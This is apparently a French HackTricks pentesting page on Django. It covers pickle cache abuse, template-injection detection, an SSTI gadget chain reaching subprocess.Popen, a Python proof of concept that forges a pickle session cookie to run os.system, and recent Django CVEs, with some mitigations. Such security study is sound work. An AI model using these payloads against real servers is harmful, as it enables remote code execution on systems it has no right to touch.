Django
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Manipulation du cache pour RCE
La méthode de stockage par défaut du cache de Django est Python pickles, ce qui peut conduire à RCE si des entrées non fiables sont dé-picklées. Si un attaquant peut obtenir un accÚs en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent.
Le cache de Django est stockĂ© dans l'un des quatre endroits suivants : Redis, mĂ©moire, fichiers, ou une base de donnĂ©es. Le cache stockĂ© dans un serveur Redis ou une base de donnĂ©es est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut Ă©galement ĂȘtre en mesure d'utiliser un cache basĂ© sur des fichiers pour transformer une Ă©criture arbitraire en RCE. Les mainteneurs ont marquĂ© cela comme un non-problĂšme. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les dĂ©tails du serveur Redis varieront en fonction de l'implĂ©mentation.
Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base de données SQLite : https://hackerone.com/reports/1415436
Injection de modÚle cÎté serveur (SSTI)
Le langage de modÚle Django (DTL) est Turing-complet. Si les données fournies par l'utilisateur sont rendues sous forme de chaßne de modÚle (par exemple en appelant Template(user_input).render()
ou lorsque |safe
/format_html()
supprime l'auto-Ă©chappement), un attaquant peut atteindre un SSTI complet â RCE.
Détection
- Recherchez des appels dynamiques Ă
Template()
/Engine.from_string()
/render_to_string()
qui incluent toute donnĂ©e de requĂȘte non assainie. - Envoyez une charge utile basĂ©e sur le temps ou arithmĂ©tique :
{{7*7}}
Si la sortie rendue contient 49
, l'entrée est compilée par le moteur de modÚle.
Primitive Ă RCE
Django bloque l'accĂšs direct Ă __import__
, mais le graphe d'objets Python est accessible :
{{''.__class__.mro()[1].__subclasses__()}}
Trouvez l'index de subprocess.Popen
(â400â500 selon la version de Python) et exĂ©cutez des commandes arbitraires :
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Un gadget universel plus sûr consiste à itérer jusqu'à ce que cls.__name__ == 'Popen'
.
Le mĂȘme gadget fonctionne pour les fonctionnalitĂ©s de rendu de Debug Toolbar ou Django-CMS qui gĂšrent mal l'entrĂ©e utilisateur.
Exécution de Code à Distance via Cookie de Session Basé sur Pickle
Si le paramĂštre SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
est activé (ou un sérialiseur personnalisé qui désérialise pickle), Django décrypte et désérialise le cookie de session avant d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (la SECRET_KEY
du projet par défaut) suffit pour une exécution immédiate de code à distance.
Exigences d'Exploitation
- Le serveur utilise
PickleSerializer
. - L'attaquant connaĂźt / peut deviner
settings.SECRET_KEY
(fuites via GitHub,.env
, pages d'erreur, etc.).
Preuve de Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI.
Atténuations : Gardez le JSONSerializer
par défaut, faites tourner le SECRET_KEY
, et configurez SESSION_COOKIE_HTTPONLY
.
CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier
- CVE-2025-48432 â Injection de Log via
request.path
non Ă©chappĂ© (corrigĂ© le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch â„ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 â Injection SQL critique dans
QuerySet.values()/values_list()
surJSONField
(CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
Toujours identifier la version exacte du framework via la page d'erreur X-Frame-Options
ou le hash de /static/admin/css/base.css
et tester ce qui précÚde lorsque cela est applicable.
Références
- Publication de sĂ©curitĂ© Django â "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" â 4 juin 2025.
- OP-Innovate : "Django publie des mises Ă jour de sĂ©curitĂ© pour traiter la faille d'injection SQL CVE-2024-42005" â 11 aoĂ»t 2024.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.